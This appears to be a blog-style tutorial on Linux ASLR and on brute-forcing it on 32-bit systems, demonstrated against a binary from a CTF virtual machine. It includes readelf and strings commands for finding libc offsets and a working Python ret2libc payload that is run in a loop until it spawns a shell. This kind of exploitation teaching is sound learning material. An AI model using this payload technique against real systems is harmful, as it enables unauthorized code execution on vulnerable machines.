Hi, after a long time I thought I would do something about ASLR Brutforcing.
What is ASLR?
ASLR stands for Address Space Layout Randomization, which means the address space changes every time we start a program under Linux. The address space changes not only for each program but also at each program start. That means we start a program it has the address space XYZ, we start it again it has the address space ABC. In the whole it looks then in such a way.
In the picture above you can see quite well that every time the program is executed, the address space changes. Why is ASLR used? Well, ASLR is used to make it harder to exploit security holes like buffer overflows. Many exploits, like ret2libc, work with static addresses which means we know the address of the function "system" and simply make the IP (instruction pointer) point to this address and execute this function. ASLR prevents this. Here we can't easily determine the address anymore. But ASLR is not a cure for these techniques, because ASLR is not well implemented under Linux, which means that there are programs or libraries that do not run with ASLR. These run then without ASLR even under circumstances with static addresses which can be exploited then, if these are included in programs. A further problem is that under 32Bit ASLR has hardly leeway to select address spaces randomly. Under 64Bit it is a lot better.
Under Linux there are 3 ASLR modes which can be set in /proc/sys/kernel/randomize_va_space
:
Value | Description |
---|---|
0 | Disabled |
1 | Conservative Randomization (Stack, Heap, Shared Libs, PIE, mmap und VDRO) |
2 | Full Randomization (Conservative Randomization + weitere Memory-Managements) |
Ok, enough sheepish. Let's crack this thing 😄. If you look at the picture below, you can see quite well what ASLR does. Here in the picture I took a closer look at the program dartVader with the command ldd from a CTF-VM. You can see that the address space changes every time. But you can also see that there is a little bit of bungling here, because under 32Bit there are less possibilities to distribute the address spaces generously. You can see quite well that the address spaces start with 0xb75
and end with 000
.
This can be used to bruteforce the address space, i.e. run the ret2libc exploit in a continuous loop for some time until we get our shell or whatever. When we build our exploit we can get our addresses, which are the baseaddress of libc and the offsetaddresses of the components like system exit and /bin/sh.
erso@deathStar1:~$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
243: 0011b8a0 73 FUNC GLOBAL DEFAULT 12 svcerr_systemerr@@GLIBC_2.0
620: 00040310 56 FUNC GLOBAL DEFAULT 12 __libc_system@@GLIBC_PRIVATE
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
erso@deathStar1:~$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
111: 00033690 58 FUNC GLOBAL DEFAULT 12 __cxa_at_quick_exit@@GLIBC_2.10
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
…
erso@deathStar1:~$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
162d4c /bin/sh
erso@deathStar1:~$
The exact offset to the instruction pointer is 76 bytes from here we can assemble the exploit. The whole thing should look like this:
#!/usr/bin/env python
#coding: utf-8
import struct
_base = 0xb7542000
_system = struct.pack('<I', _base + 0x40310)
_exit = struct.pack('<I', _base + 0x33260)
_bin_sh = struct.pack('<I', _base + 0x162d4c)
buf = '\x90' * 76
buf += _system
buf += _exit
buf += _bin_sh
print buf
Running this in a loop we get some segementation faults as well as other error messages, but after a short or slightly longer time we get a shell like in the image below.
You see ASLR is not the cure all after all. There are also other methods that can undermine ASLR besides bruteforcing e.g. ROP (Return Oriented Programming).
I hope you enjoyed it and bye 😄